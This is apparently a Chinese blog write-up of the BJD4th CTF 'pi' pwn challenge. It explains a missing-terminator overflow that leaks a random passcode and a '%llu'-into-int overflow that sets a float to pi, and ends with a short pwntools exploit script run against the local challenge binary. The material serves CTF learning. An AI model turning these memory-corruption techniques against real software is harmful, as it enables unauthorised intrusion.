BJD4th pwn pi

  没记错的话,比赛那天正好是圣诞节,就只看了这一道pwn题,我还没做出来。我太菜了。

  有一说一,ida换成7.5版本之后,一些去掉符号表的函数也能被识别出来了,ida更好用了呢。

  题目程序分为两块,先看第一块,登陆。

BJD4th pwn pi

  先输入一个username,再输入一个passcode,程序会判断passcode和在16行随机生成的数是否相等,如果相等就会通过判断。(16行,后面的函数是来读取随机数的)

  这里的读取用的是自写函数,sub_13BB,跟进去看看。

BJD4th pwn pi

  箭头所指是会在我们输入的username后面加"\x00"的,用来截断字符串,但是这里明显可以溢出。

BJD4th pwn pi

  当输入64个字符时,会在65处加上"\x00",执行snprintf的时候,这个位置又会被随机数覆盖,在18行进行输出的时候,由于没有截断,会把生成的随机数也输出。这样就得到passcode了。这样第一部分就搞定了。接下来看第二部分。

BJD4th pwn pi

  这里题目说了,程序用的是蒙特卡罗算法求圆周率的。到底是怎么求的呢?

BJD4th pwn pi

BJD4th pwn pi

BJD4th pwn pi

BJD4th pwn pi

  个人感觉和抛硬币一样,只要你抛得次数足够多,最后的统计出的抛出正面和反面的概率就越接近1/2。这就是这个算法的核心,多次随机实验来求概率,通过概率再进行推算。跑远了...

  题目是让最后得出的圆周率的误差小于0.0000001就可以cat flag。是让我们输入一个实验的次数,理论上,只要次数足够多,就可以直接拿flag。但是程序在第一块有alarm函数,是有计时的。所以不行,毕竟还是个pwn题嘛,找找漏洞点。

BJD4th pwn pi

  这里有一个17行有一个"%llu"其实挺引人注目的,这个是long long int的缩写,而程序上写了,v1是int类型变量,说明这里可以进行溢出。可以将v2赋值成3.1415926,同时让v1==0,这样v0==0,就可以拿到flag了。

  这里有一个知识点就是,浮点数应在内存中应该怎么表示呢?我以前写过文章专门讲解过,这里我就直接通过例子看了。

1 #include<stdio.h>
2 float a;
3 int main()
4 {
5     a=3.1415926;
6     getchar();
7     return 0;
8 }

  gcc编译一下,看内存分布。

BJD4th pwn pi

  因为这只是给v2赋值的,还需要让v1==0,因为是小端序的原因,内存中应该是

  00000000 DA0F4940 00000000 (前面的8个数代表v1的内存分布,后面的16个数是v2的内存分布)

BJD4th pwn pi

  所以这里需要输入的数值应该是‭4632251120704552960‬,既能让v1==0,又能让v2==3.1415926。这样就能拿到flag了。

  exp:

 1 from pwn import *
 2 
 3 p = process('./pi')
 4 context.log_level = 'debug'
 5 
 6 p.sendlineafter('Username: ','a'*0x3f+'b')
 7 p.recvuntil('b')
 8 password = p.recvuntil('.')[:-1]
 9 print 'password-->'+password
10 p.sendlineafter('Passcode: ',password)
11 p.recvuntil('N = ')
12 p.sendline('4632251120704552960')
13 p.recv()
14 p.close()

BJD4th pwn pi

BJD4th pwn pi

 

蒙特卡洛算法图片来源:https://crazism.net/9454.html

上一篇:cgpwn2


下一篇:格式化字符串格式字符_pwn